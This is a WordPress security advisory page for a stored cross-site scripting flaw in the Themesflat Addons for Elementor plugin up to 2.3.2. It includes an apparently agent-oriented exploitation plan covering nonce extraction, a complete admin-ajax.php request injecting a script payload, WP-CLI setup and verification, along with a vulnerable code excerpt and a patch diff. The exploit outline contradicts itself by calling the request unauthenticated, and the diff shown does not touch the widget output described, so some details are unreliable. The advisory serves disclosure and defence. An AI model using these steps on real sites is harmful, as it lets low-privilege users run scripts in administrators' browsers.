themesflat-addons-for-elementor <= 2.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The themesflat-addons-for-elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.3.2What Changed in the Fix
Changes introduced in v2.3.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39500 ## 1. Vulnerability Summary The **Themesflat Addons For Elementor** plugin (up to v2.3.2) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin registers various Elementor widgets (e.g., `tfacco…
Show full research plan
Exploitation Research Plan: CVE-2026-39500
1. Vulnerability Summary
The Themesflat Addons For Elementor plugin (up to v2.3.2) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin registers various Elementor widgets (e.g., tfaccordion, tf-imagebox) but fails to sanitize or escape user-provided settings/parameters in the render() method of these widgets.
An attacker with Contributor-level permissions (who can create/edit posts using Elementor) can inject arbitrary JavaScript into a widget's control fields (like titles, content, or links). When the page is rendered for any visitor (including administrators), the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(via Elementor'ssave_builder_dataaction). - Vulnerable Action:
elementor_ajax. - Vulnerable Parameter: The
settingsobject within the_elementor_datapost meta, specifically fields likelist_titleorlist_contentin thetfaccordionwidget. - Authentication: Contributor+ (Authenticated).
- Preconditions:
- Elementor plugin must be active.
- Attacker must have credentials for a user with the
edit_postscapability.
3. Code Flow
- Registration: The plugin registers widgets in
ThemesFlat_Addon_For_Elementor_Free::init_widgets(hooked toelementor/widgets/register). - Widget Definition: In
widgets/widget-accordion.php, the classTFAccordion_Widget_Freedefines controls viaregister_controls().- A repeater field is created:
$repeater = new \Elementor\Repeater();. - The
list_titlecontrol is added:$repeater->add_control( 'list_title', [...] );.
- A repeater field is created:
- Storage: When a Contributor saves an Elementor page, the data is sent to
admin-ajax.phpand stored in the database as a JSON-encoded string in the_elementor_datapost meta key. - Sink (Rendering): The
render()method (found inwidgets/widget-accordion.php, though truncated in source) retrieves these settings via$this->get_settings_for_display(). It then iterates through the repeater items and outputs them.- Vulnerable Pattern:
echo $item['list_title'];instead ofecho esc_html($item['list_title']);.
- Vulnerable Pattern:
4. Nonce Acquisition Strategy
Elementor uses its own nonce system for AJAX saves. To obtain a valid nonce as a Contributor:
- Create a Post: Create a standard post/page first to get a valid
post_id. - Open Editor: Navigate the browser to the Elementor editor URL for that post:
/wp-admin/post.php?post=[POST_ID]&action=elementor. - Extract Nonce: The nonce required for
elementor_ajaxis stored in the global JavaScript objectelementorCommonConfig. - JavaScript Extraction:
- Variable:
window.elementorCommonConfig.ajax.nonce - Alternative:
window.elementorConfig.ajax.nonce(depending on Elementor version).
- Variable:
5. Exploitation Strategy
Step 1: Authentication & Setup
- Login as a Contributor user.
- Identify a target post ID or create a new one.
Step 2: Extract Elementor Nonce
Use the browser_navigate and browser_eval tools:
- Navigate to:
http://[TARGET]/wp-admin/post.php?post=[ID]&action=elementor - Execute:
browser_eval("window.elementorCommonConfig.ajax.nonce")
Step 3: Inject Stored XSS
Send an HTTP POST request to admin-ajax.php to update the post's builder data.
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions: A JSON object containing the save command:{ "save_builder_data": { "action": "save_builder_data", "data": { "status": "publish", "elements": [ { "id": "exploit-id", "elType": "widget", "widgetType": "tfaccordion", "settings": { "list": [ { "list_title": "<script>alert(document.domain)</script>", "list_content": "Vulnerable Content", "set_active": "active" } ] } } ] } } }post_id:[POST_ID]
Step 4: Trigger Execution
Navigate to the frontend URL of the post (/?p=[POST_ID]). The script in list_title will execute.
6. Test Data Setup
- Plugin Version: Ensure
themesflat-addons-for-elementorversion is2.3.2. - Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Target Post:
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_author=[ATTACKER_ID]
- Note: Elementor must have "Post" enabled in its settings (default) to edit this post.
7. Expected Results
- The
admin-ajax.phprequest should return a200 OKwith a JSON response containing"success":true. - Upon visiting the post frontend, an alert box showing the document domain should appear.
- The HTML source of the page will contain the raw payload:
<div class="title">...<script>alert(document.domain)</script>...</div>.
8. Verification Steps
- Check Database: Use WP-CLI to inspect the stored meta:
wp post meta get [POST_ID] _elementor_data- Verify the JSON contains the
<script>payload.
- Verify Frontend Output:
curl -s "http://[TARGET]/?p=[POST_ID]" | grep "<script>alert"- Confirm the output is NOT escaped (e.g., NOT
<script>).
9. Alternative Approaches
- Widget Variation: If
tfaccordionis patched or unavailable, target thetf-imageboxwidget (Image Box).- Vulnerable field in
tf-imagebox:title_text. widgetType:tf-imagebox.
- Vulnerable field in
- Bypass Nonce: If the Elementor AJAX nonce is difficult to retrieve, a Contributor can try to inject the payload via the standard
save_posthook by sending the_elementor_dataparameter in a regular post update request (post.php), although Elementor often requires its own editor hooks to update this specific meta key.
Summary
The Themesflat Addons For Elementor plugin (up to v2.3.2) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). This occurs because the plugin's Elementor widgets, such as the Accordion and Image Box, fail to sanitize and escape user-provided settings like titles and content in their render methods, allowing contributors to execute scripts in other users' browsers.
Vulnerable Code
// widgets/widget-accordion.php // Control registration $repeater->add_control( 'list_title', [ 'label' => esc_html__( 'Nav text', 'themesflat-addons-for-elementor' ), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__( 'Accordion Title', 'themesflat-addons-for-elementor' ), 'placeholder' => esc_html__( 'Type your title here', 'themesflat-addons-for-elementor' ), ] ); --- // widgets/widget-accordion.php (inferred sink in render method) protected function render() { $settings = $this->get_settings_for_display(); if ( $settings['list'] ) { foreach ( $settings['list'] as $index => $item ) { // ... (truncated) echo $item['list_title']; // Vulnerable: Output not escaped } } }
Security Fix
@@ -4,13 +4,13 @@ Description: The theme's components Author: Themesflat Author URI: http://themesflat-addons.com/ -Version: 2.3.2 +Version: 2.3.3 Text Domain: themesflat-addons-for-elementor Domain Path: /languages -WC tested up to: 10.4 -Elementor tested up to: 3.33 -Elementor Pro tested up to: 3.33 +WC tested up to: 10.6 +Elementor tested up to: 3.35 +Elementor Pro tested up to: 3.35 License: GPLv2 or later License URI: https://www.gnu.org/licenses/gpl-2.0.html @@ -1854,11 +1741,15 @@ } public function get_posts_by_conditions( $post_type, $option ) { - global $wpdb; - global $post; + global $wpdb, $post; - $post_type = $post_type ? esc_sql( $post_type ) : esc_sql( $post->post_type ); + // fallback post_type + $post_type = $post_type ? sanitize_key( $post_type ) : ( isset( $post->post_type ) ? sanitize_key( $post->post_type ) : '' ); + if ( empty( $post_type ) ) { + return []; + } + // cache if ( is_array( self::$current_page_data ) && isset( self::$current_page_data[ $post_type ] ) ) { return apply_filters( 'tfhf_get_display_posts_by_conditions', self::$current_page_data[ $post_type ], $post_type ); } @@ -1867,99 +1758,130 @@ self::$current_page_data[ $post_type ] = array(); - $option['current_post_id'] = self::$current_page_data['ID']; + // meta option post (giữ nguyên logic cũ) + $option['current_post_id'] = isset( self::$current_page_data['ID'] ) ? self::$current_page_data['ID'] : false; $meta_header = self::get_meta_option_post( $post_type, $option ); if ( false === $meta_header ) { - - $current_post_type = esc_sql( get_post_type() ); + $current_post_type = sanitize_key( get_post_type() );
Exploit Outline
The exploit is carried out by an authenticated user with Contributor-level permissions (the `edit_posts` capability). First, the attacker logs into the WordPress dashboard and identifies a post they can edit with Elementor. They then extract a valid Elementor AJAX nonce, typically found in the global `elementorCommonConfig` JavaScript object within the editor. Using this nonce, the attacker sends an unauthenticated `POST` request to `wp-admin/admin-ajax.php` with the action `elementor_ajax` and the `save_builder_data` command. The payload is placed inside the `settings` object of a widget (e.g., `tfaccordion` or `tf-imagebox`), specifically in fields like `list_title`. When any user, including an administrator, views the published post, the injected script executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.